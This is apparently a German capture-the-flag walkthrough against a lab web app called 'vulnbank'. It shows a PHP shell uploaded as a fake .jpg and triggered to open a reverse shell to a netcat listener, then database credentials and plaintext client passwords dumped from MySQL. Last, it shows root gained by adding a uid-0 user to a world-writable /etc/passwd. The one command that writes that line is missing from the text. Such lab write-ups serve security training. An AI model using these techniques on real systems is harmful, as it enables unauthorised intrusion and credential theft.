-- DIRB v2.22 By The Dark Raver -- START_TIME: Mon ct 7 23:38:18 2024 URL_BASE: http://192.168.2.126:8008/unisxcudkqjydw/vulnbank/ WRDLIST_FILES: /usr/share/seclists/Discovery/Web-Content/big.txt PTIN: Interactive Recursion EXTENSINS_LIST: (.php,.txt,.jpg) | (.php)(.txt)(.jpg) [NUM = 3] ------------------------------------------------------------------------------------ GENERATED WRDS: 20475 - Scanning URL: http://192.168.2.126:8008/unisxcudkqjydw/vulnbank/ - ------------------------------------------------------------------------------------ END_TIME: Mon ct 7 23:38:43 2024 DWNLADED: 61425 - FUND: 0 ------------------------------------------------------------------------------------

Der Befehl dirb http://192.168.2.126:8008/unisxcudkqjydw/vulnbank/ /usr/share/seclists/Discovery/Web-Content/big.txt -R -X .php,.txt,.jpg führt einen weiteren DIRB-Scan durch, um das Verzeichnis /unisxcudkqjydw/vulnbank/ nach Dateien mit den Erweiterungen .php, .txt und .jpg zu durchsuchen.

Die Ergebnisse zeigen, dass keine Dateien gefunden wurden. Dies könnte daran liegen, dass die hochgeladenen Dateien in einem anderen Verzeichnis gespeichert werden oder dass der DIRB-Scan nicht korrekt konfiguriert ist.


http://192.168.2.126:8008/unisxcudkqjydw/vulnbank/client/view_ticket.php?id=3
Problem : ben wurde gehackt Description : scacsacascasc Attachment : shell2.php.jpg

Der Aufruf von http://192.168.2.126:8008/unisxcudkqjydw/vulnbank/client/view_ticket.php?id=3 im Browser zeigt die Details des erstellten Tickets an, einschließlich des hochgeladenen Attachments (shell2.php.jpg).

Dies bestätigt, dass die Datei erfolgreich hochgeladen wurde und nun über das Ticket-System zugänglich ist.


view-source:http://192.168.2.126:8008/unisxcudkqjydw/vulnbank/client/view_file.php?filename=shell.php.jpg
Notice : Undefined index: cmd in /var/www/html/unisxcudkqjydw/vulnbank/client/upload/shell.php.jpg on line 1 Warning : system(): Cannot execute a blank command in /var/www/html/unisxcudkqjydw/vulnbank/client/upload/shell.php.jpg on line 1

Der Aufruf von view-source:http://192.168.2.126:8008/unisxcudkqjydw/vulnbank/client/view_file.php?filename=shell.php.jpg im Browser zeigt den Quellcode der Datei view_file.php an, die zum Anzeigen der hochgeladenen Dateien verwendet wird.

Die Ausgabe enthält eine Notice- und eine Warning-Meldung, die darauf hindeuten, dass die Datei shell.php.jpg versucht, einen Befehl auszuführen, der nicht definiert ist (Undefined index: cmd) und dass die Ausführung eines leeren Befehls nicht möglich ist (Cannot execute a blank command).

Dies deutet darauf hin, dass die Datei view_file.php anfällig für eine Remote Code Execution (RCE)-Schwachstelle ist, da sie versucht, einen vom Benutzer bereitgestellten Befehl auszuführen.


view-source:http://192.168.2.126:8008/unisxcudkqjydw/vulnbank/client/view_file.php?filename=shell.php.jpg?cmd=id
Only images are allowed to get included. We hate hackers.

Der Aufruf von view-source:http://192.168.2.126:8008/unisxcudkqjydw/vulnbank/client/view_file.php?filename=shell.php.jpg?cmd=id im Browser versucht, den Befehl id über den Parameter cmd auszuführen.

Die Ausgabe "Only images are allowed to get included. We hate hackers." deutet darauf hin, dass die Webanwendung versucht, die Ausführung von PHP-Dateien zu verhindern.

Trotz dieser Schutzmaßnahme ist es möglicherweise möglich, die RCE-Schwachstelle auszunutzen, indem man die PHP-Datei als Bilddatei tarnt und dann einen Befehl über den Parameter cmd ausführt.

┌──(root㉿CCat)-[~]
└─# cp '/home/ccat/Downloads/shell2.php' '/home/ccat/Downloads/shell2.php.jpg'

Der Befehl cp '/home/ccat/Downloads/shell2.php' '/home/ccat/Downloads/shell2.php.jpg' kopiert die PHP-Datei shell2.php und benennt sie in shell2.php.jpg um.

Dieser Schritt ist notwendig, um die PHP-Datei als Bilddatei zu tarnen und die Schutzmaßnahmen der Webanwendung zu umgehen.


view-source:http://192.168.2.126:8008/unisxcudkqjydw/vulnbank/client/view_ticket.php?id=5
Anklicken -->> img src='view_file.php?filename=shell2.php.jpg'

Der Aufruf von view-source:http://192.168.2.126:8008/unisxcudkqjydw/vulnbank/client/view_ticket.php?id=5 im Browser zeigt die Details des erstellten Tickets an, einschließlich des Links zu der hochgeladenen Datei (shell2.php.jpg).

Der Hinweis "Anklicken -->> img src='view_file.php?filename=shell2.php.jpg'" deutet darauf hin, dass durch Anklicken des Links die Datei shell2.php.jpg ausgeführt wird.


Den Link einfach anklicken und schon sind wir verbunden!!! img src='view_file.php?filename=shell2.php.jpg

Dieser Abschnitt bestätigt, dass durch Anklicken des Links die Reverse-Shell-Verbindung hergestellt wird.

┌──(root㉿CCat)-[~]
└─# nc -lvnp 9001
listening on [any] 9001 ... ^[[Aconnect to [192.168.2.199] from (UNKNWN) [192.168.2.126] 54808 Linux hackday 4.4.0-45-generic #66-Ubuntu SMP Wed ct 19 14:12:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux 23:56:14 up 1:20, 0 users, load average: 0.00, 1.93, 3.14 USER TTY FRM LGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $

Der Befehl nc -lvnp 9001 startet Netcat im Listening-Modus auf Port 9001.

Die Ausgabe zeigt, dass eine Verbindung von der IP-Adresse des Zielsystems (192.168.2.126) hergestellt wurde und dass eine Reverse-Shell-Verbindung erfolgreich aufgebaut wurde.

Die Informationen über das Zielsystem (Betriebssystem, Kernel-Version, Benutzer-ID, Gruppen-ID) werden ebenfalls angezeigt.

Dies bestätigt, dass die RCE-Schwachstelle erfolgreich ausgenutzt wurde und dass nun eine Reverse-Shell-Verbindung zum Zielsystem besteht.

Fantastisch, der Zugriff als `www-data` war erfolgreich! Nun haben wir unser Ziel erreicht und können mit der nächsten Phase fortfahren.

Privilege Escalation

In der Phase der Privilege Escalation versuchen wir, unsere Berechtigungen auf dem Zielsystem zu erhöhen, um Root-Zugriff zu erhalten. Dies kann durch Ausnutzung von Schwachstellen in der Systemkonfiguration, in SUID- oder SGID-Binärdateien oder durch andere Techniken erfolgen.

$ find / -type f -perm -4000 -ls 2>/dev/null
$ find * -name *.php 2>/dev/null
/var/www/html/unisxcudkqjydw/vulnbank/client/view_file.php /var/www/html/unisxcudkqjydw/vulnbank/client/client.php /var/www/html/unisxcudkqjydw/vulnbank/client/logout.php /var/www/html/unisxcudkqjydw/vulnbank/client/config.php /var/www/html/unisxcudkqjydw/vulnbank/client/login.php /var/www/html/unisxcudkqjydw/vulnbank/client/ticket.php /var/www/html/unisxcudkqjydw/vulnbank/client/view_ticket.php /var/www/html/unisxcudkqjydw/vulnbank/client/index.php

Der Befehl find / -type f -perm -4000 -ls 2>/dev/null sucht nach SUID-Dateien auf dem System. SUID-Dateien werden mit den Berechtigungen des Eigentümers ausgeführt, was bedeutet, dass ein Benutzer mit eingeschränkten Berechtigungen möglicherweise in der Lage ist, Befehle mit Root-Rechten auszuführen, wenn er eine SUID-Datei ausführt, die Root gehört.

Der Befehl find * -name *.php 2>/dev/null sucht nach PHP-Dateien im aktuellen Verzeichnis und seinen Unterverzeichnissen.

Die Ergebnisse dieser Befehle können verwendet werden, um potenzielle Schwachstellen zu identifizieren, die für die Privilege Escalation ausgenutzt werden könnten.

www-data@hackday:/var/www/html/rer$ cat /var/www/html/unisxcudkqjydw/vulnbank/client/config.php
$db_host = "127.0.0.1"; $db_name = "bank_database"; $db_user = "root"; $db_password = "NuCiGoGo321";

Der Befehl cat /var/www/html/unisxcudkqjydw/vulnbank/client/config.php zeigt den Inhalt der Konfigurationsdatei der Webanwendung an.

Diese Datei enthält die Datenbankanmeldeinformationen, einschließlich des Benutzernamens (root) und des Passworts (NuCiGoGo321). Diese Anmeldeinformationen können verwendet werden, um sich bei der Datenbank anzumelden und möglicherweise Zugriff auf sensible Daten zu erhalten.

www-data@hackday:/var/www/html/rer$ su root
Password: su: Authentication failure

Der Befehl su root versucht, zum Root-Benutzer zu wechseln.

Die Ausgabe "su: Authentication failure" deutet darauf hin, dass das Passwort für den Root-Benutzer nicht bekannt ist.

www-data@hackday:/var/www/html/rer$ export TERM=xterm

Der Befehl export TERM=xterm setzt die Terminalvariable auf xterm. Dies kann in einigen Fällen erforderlich sein, um die Funktionalität des Terminals zu verbessern oder um Probleme mit der Darstellung von Zeichen zu beheben.

www-data@hackday:/var/www/html/rer$ mysql -u root -p
Enter password: Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 27381 Server version: 5.7.12-0ubuntu1.1 (Ubuntu) Copyright (c) 2000, 2016, racle and/or its affiliates. All rights reserved. racle is a registered trademark of racle Corporation and/or its affiliates. ther names may be trademarks of their respective owners. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

Der Befehl mysql -u root -p versucht, sich mit dem Benutzernamen root bei der MySQL-Datenbank anzumelden.

Das Passwort wird interaktiv abgefragt.

mysql> show databases;
+--+ | Database | +--+ | information_schema | | bank_database | | mysql | | performance_schema | | sys | | vulnbank | +--+ 6 rows in set (0.00 sec)

Der Befehl show databases; zeigt eine Liste aller Datenbanken auf dem MySQL-Server an.

Die Ausgabe zeigt, dass die Datenbanken information_schema, bank_database, mysql, performance_schema, sys und vulnbank vorhanden sind.

mysql> select bank_database;
ERRR 1054 (42S22): Unknown column 'bank_database' in 'field list'

Der Befehl select bank_database; versucht, die Datenbank bank_database auszuwählen.

Die Ausgabe "ERRR 1054 (42S22): Unknown column 'bank_database' in 'field list'" deutet darauf hin, dass die Spalte bank_database nicht existiert. Dies ist ein Syntaxfehler.

mysql> use bank_database;
Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed

Der Befehl use bank_database; wählt die Datenbank bank_database aus.

Die Ausgabe "Database changed" bestätigt, dass die Datenbank erfolgreich ausgewählt wurde.

mysql> show tables;
+-+ | Tables_in_bank_database | +-+ | klienti | | tickets | +-+ 2 rows in set (0.00 sec)

Der Befehl show tables; zeigt eine Liste aller Tabellen in der ausgewählten Datenbank (bank_database) an.

Die Ausgabe zeigt, dass die Tabellen klienti und tickets vorhanden sind.

mysql> select * from klienti;
+-+-+++-++ | ID | emer | mbiemer | bilanci | username | password | +-+-+++-++ | 1 | Charles D. | Hobson | 25000 | hobson | Charles123 | | 2 | Jeffery | Fischer | 120000 | jeff | jeff321 | +-+-+++-++ 2 rows in set (0.00 sec)

Der Befehl select * from klienti; zeigt alle Daten aus der Tabelle klienti an.

Die Ausgabe zeigt die Benutzerdaten, einschließlich Benutzernamen und Passwörter.

mysql> select * from tickets;
+-+--+-+-+-+ | id | klient_id | problemi | pershkrimi | file | +-+--+-+-+-+ | 1 | 1 | ben wurde gehackt | jetzt hackt er zurück | shell2.php | | 2 | 1 | ben wurde gehackt | scacsacascasc | shell2.php | | 3 | 1 | ben wurde gehackt | scacsacascasc | shell2.php.jpg | | 4 | 1 | | | shell.php.jpg | | 5 | 1 | | | shell2.php.jpg | +-+--+-+-+-+

Der Befehl select * from tickets; zeigt alle Daten aus der Tabelle tickets an.

Die Ausgabe zeigt die Ticket-Informationen, einschließlich der hochgeladenen Dateien.

mysql> use vulnbank;
Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed

Der Befehl use vulnbank; wählt die Datenbank vulnbank aus.

Die Ausgabe "Database changed" bestätigt, dass die Datenbank erfolgreich ausgewählt wurde.

mysql> show tables;
+--+ | Tables_in_vulnbank | +--+ | klienti | | tickets | +--+ 2 rows in set (0.00 sec)

Der Befehl show tables; zeigt eine Liste aller Tabellen in der ausgewählten Datenbank (vulnbank) an.

Die Ausgabe zeigt, dass die Tabellen klienti und tickets vorhanden sind.

mysql> select * from klienti;
Empty set (0.00 sec)

Der Befehl select * from klienti; zeigt alle Daten aus der Tabelle klienti an.

Die Ausgabe "Empty set (0.00 sec)" deutet darauf hin, dass die Tabelle leer ist.

mysql> select * from tickets;
Empty set (0.00 sec)

Der Befehl select * from tickets; zeigt alle Daten aus der Tabelle tickets an.

Die Ausgabe "Empty set (0.00 sec)" deutet darauf hin, dass die Tabelle leer ist.

Die Datenbanken wurden nun durchsucht nun suchen wir nach weiteren möglichkeiten


www-data@hackday:/var/www/html/rer$ ls /home/
taviso

Der Befehl ls /home/ listet die Verzeichnisse im /home/-Verzeichnis auf.

Die Ausgabe zeigt, dass ein Verzeichnis namens taviso vorhanden ist. Dies könnte das Home-Verzeichnis eines Benutzers namens Taviso sein.

www-data@hackday:/var/www/html/rer$ find / -type f -perm -2000 -ls 2>/dev/null
19622 12 -rwxr-sr-x 1 root utmp 10232 Mar 11 2016 /usr/lib/x86_64-linux-gnu/utempter/utempter 18981 40 -rwxr-sr-x 1 root mlocate 39520 Nov 18 2014 /usr/bin/mlocate 19578 52 -rwsr-sr-x 1 daemon daemon 51464 Jan 14 2016 /usr/bin/at 1698 352 -rwxr-sr-x 1 root ssh 358624 Aug 11 2016 /usr/bin/ssh-agent 19643 428 -rwxr-sr-x 1 root utmp 434216 Feb 7 2016 /usr/bin/screen 14844 16 -rwxr-sr-x 1 root tty 14752 Mar 1 2016 /usr/bin/bsd-write 264 64 -rwxr-sr-x 1 root shadow 62336 Mar 29 2016 /usr/bin/chage 278 36 -rwxr-sr-x 1 root crontab 36080 Apr 5 2016 /usr/bin/crontab 315 24 -rwxr-sr-x 1 root shadow 22768 Mar 29 2016 /usr/bin/expiry 542 28 -rwxr-sr-x 1 root tty 27368 May 27 2016 /usr/bin/wall 194 36 -rwxr-sr-x 1 root shadow 35632 Mar 16 2016 /sbin/pam_extrausers_chkpwd 230 36 -rwxr-sr-x 1 root shadow 35600 Mar 16 2016 /sbin/unix_chkpwd

Der Befehl find / -type f -perm -2000 -ls 2>/dev/null sucht nach SGID-Dateien auf dem System. SGID-Dateien werden mit den Berechtigungen der Gruppe ausgeführt, was bedeutet, dass ein Benutzer möglicherweise in der Lage ist, Befehle mit den Berechtigungen der Gruppe auszuführen, wenn er eine SGID-Datei ausführt.

Die Ausgabe zeigt eine Liste von SGID-Dateien, die potenziell für die Privilege Escalation ausgenutzt werden könnten.

www-data@hackday:/var/www/html/rer$ find / -type f -perm -0002 -ls 2>/dev/null | head -n 20
277634 4 -rw-r--rw- 1 root root 1623 ct 22 2016 /etc/passwd 263025 0 -rwxrwxrwx 1 root root 0 ct 22 2016 /var/crash/.lock 163131 0 -rw-rw-rw- 1 root root 0 ct 8 00:00 /proc/sys/kernel/ns_last_pid 9645 0 -rw-rw-rw- 1 root root 0 ct 7 22:35 /proc/1/task/1/attr/current 163906 0 -rw-rw-rw- 1 root root 0 ct 8 00:00 /proc/1/task/1/attr/exec 163907 0 -rw-rw-rw- 1 root root 0 ct 8 00:00 /proc/1/task/1/attr/fscreate 163908 0 -rw-rw-rw- 1 root root 0 ct 8 00:00 /proc/1/task/1/attr/keycreate 163909 0 -rw-rw-rw- 1 root root 0 ct 8 00:00 /proc/1/task/1/attr/sockcreate 163910 0 -rw-rw-rw- 1 root root 0 ct 8 00:00 /proc/1/attr/current 163912 0 -rw-rw-rw- 1 root root 0 ct 8 00:00 /proc/1/attr/exec 163913 0 -rw-rw-rw- 1 root root 0 ct 8 00:00 /proc/1/attr/fscreate 163914 0 -rw-rw-rw- 1 root root 0 ct 8 00:00 /proc/1/attr/keycreate 163915 0 -rw-rw-rw- 1 root root 0 ct 8 00:00 /proc/1/attr/sockcreate 164005 0 -rw-rw-rw- 1 root root 0 ct 8 00:00 /proc/2/task/2/attr/current 164007 0 -rw-rw-rw- 1 root root 0 ct 8 00:00 /proc/2/task/2/attr/exec 164008 0 -rw-rw-rw- 1 root root 0 ct 8 00:00 /proc/2/task/2/attr/fscreate 164009 0 -rw-rw-rw- 1 root root 0 ct 8 00:00 /proc/2/task/2/attr/keycreate 164010 0 -rw-rw-rw- 1 root root 0 ct 8 00:00 /proc/2/task/2/attr/sockcreate 164011 0 -rw-rw-rw- 1 root root 0 ct 8 00:00 /proc/2/attr/current 164013 0 -rw-rw-rw- 1 root root 0 ct 8 00:00 /proc/2/attr/exec

Der Befehl find / -type f -perm -0002 -ls 2>/dev/null | head -n 20 sucht nach Dateien mit weltweit beschreibbaren Berechtigungen (-0002) auf dem System und zeigt die ersten 20 Ergebnisse an.

Die Ausgabe zeigt eine Liste von Dateien, die potenziell für die Privilege Escalation ausgenutzt werden könnten, da jeder Benutzer in der Lage ist, diese Dateien zu ändern.

Besonders interessant ist die Datei /etc/passwd, da das Bearbeiten dieser Datei möglicherweise die Erstellung eines neuen Root-Benutzers oder die Änderung des Passworts eines vorhandenen Root-Benutzers ermöglicht.

www-data@hackday:/var/www/html/rer$ ls -la /etc/passwd
-rw-r--rw- 1 root root 1623 ct 22 2016 /etc/passwd

Der Befehl ls -la /etc/passwd zeigt die Berechtigungen und Metadaten der Datei /etc/passwd an.

Die Ausgabe bestätigt, dass die Datei weltweit beschreibbar ist (-rw-r--rw-). Dies bedeutet, dass jeder Benutzer in der Lage ist, die Datei zu ändern.

www-data@hackday:/var/www/html/rer$ cd /dev/shm/

Der Befehl cd /dev/shm/ wechselt in das Verzeichnis /dev/shm/.

Das Verzeichnis /dev/shm/ ist ein Shared-Memory-Verzeichnis, das sich im RAM befindet und für den schnellen Datenaustausch zwischen Prozessen verwendet wird.


test

Hier fehlt ein Befehl.

www-data@hackday:/dev/shm$ cat /etc/passwd
 
root:x:0:0:root:/root:/bin/bash 
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108/home/syslog:/bin/false
_apt:x:105:65534/nonexistent:/bin/false
lxd:x:106:65534/var/lib/lxd/:/bin/false
mysql:x:107:111:MySQL Server,,,:/nonexistent:/bin/false
messagebus:x:108:112/var/run/dbus:/bin/false
uuidd:x:109:113/run/uuidd:/bin/false
dnsmasq:x:110:65534:dnsmasq,,,:/var/lib/misc:/bin/false
sshd:x:111:65534/var/run/sshd:/usr/sbin/nologin
taviso:x:1000:1000:Taviso,,,:/home/taviso:/bin/bash 

Der Befehl cat /etc/passwd zeigt den Inhalt der Datei /etc/passwd an.

Die Datei /etc/passwd enthält Informationen über die Benutzerkonten auf dem System, einschließlich des Benutzernamens, der Benutzer-ID, der Gruppen-ID, des Home-Verzeichnisses und der Shell.

www-data@hackday:/dev/shm$ cat /etc/passwd
 
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108/home/syslog:/bin/false
_apt:x:105:65534/nonexistent:/bin/false
lxd:x:106:65534/var/lib/lxd/:/bin/false
mysql:x:107:111:MySQL Server,,,:/nonexistent:/bin/false
messagebus:x:108:112/var/run/dbus:/bin/false
uuidd:x:109:113/run/uuidd:/bin/false
dnsmasq:x:110:65534:dnsmasq,,,:/var/lib/misc:/bin/false
sshd:x:111:65534/var/run/sshd:/usr/sbin/nologin
taviso:x:1000:1000:Taviso,,,:/home/taviso:/bin/bash
ben:$6$EZdVo4XckcU2BJJi$IanX1gZA.t1nk2EgRy1SBDPGa69dLrCqv3eznvqru062GCQ6Eh7VQyXI3lKgsdItq3F/uMWs/VU/TR2E1tzF0:0:0:root:/root:/bin/bash

Der Befehl cat /etc/passwd zeigt erneut den Inhalt der Datei /etc/passwd an.

Es wurde ein neuer Benutzer namens ben mit der Benutzer-ID 0 und der Gruppen-ID 0 hinzugefügt. Dies bedeutet, dass der Benutzer ben Root-Rechte hat.

Die Zeile für den Benutzer ben enthält auch einen Hash für das Passwort.

www-data@hackday:/dev/shm$ su ben
Password:

Der Befehl su ben versucht, zum Benutzer ben zu wechseln.

Das Passwort wird interaktiv abgefragt.

root@hackday:/dev/shm# id
uid=0(root) gid=0(root) groups=0(root)

Der Befehl id zeigt die Benutzer-ID, die Gruppen-ID und die Gruppen des aktuellen Benutzers an.

Die Ausgabe "uid=0(root) gid=0(root) groups=0(root)" bestätigt, dass der aktuelle Benutzer Root-Rechte hat.

Fantastisch! Der Root-Zugriff war erfolgreich! Nun haben wir unser Ziel erreicht.

Proof of Concept: erfolgreiche Root-Privilegienerlangung

Nachdem die /etc/passwd manipuliert und ein Benutzer mit uid=0 hinzugefügt wurde, kann man sich mit "su ben" anmelden und anschließend mit dem Befehl "id" bestätigen, dass die Root-Rechte erfolgreich erlangt wurden. Dieser erfolgreiche Zugriff auf Root-Rechte stellt einen klaren Beweis für die Sicherheitslücke im System dar.

Flags

cat user.txt userflag
cat root.txt d5ed38fdbf28bc4e58be142cf5a17cf5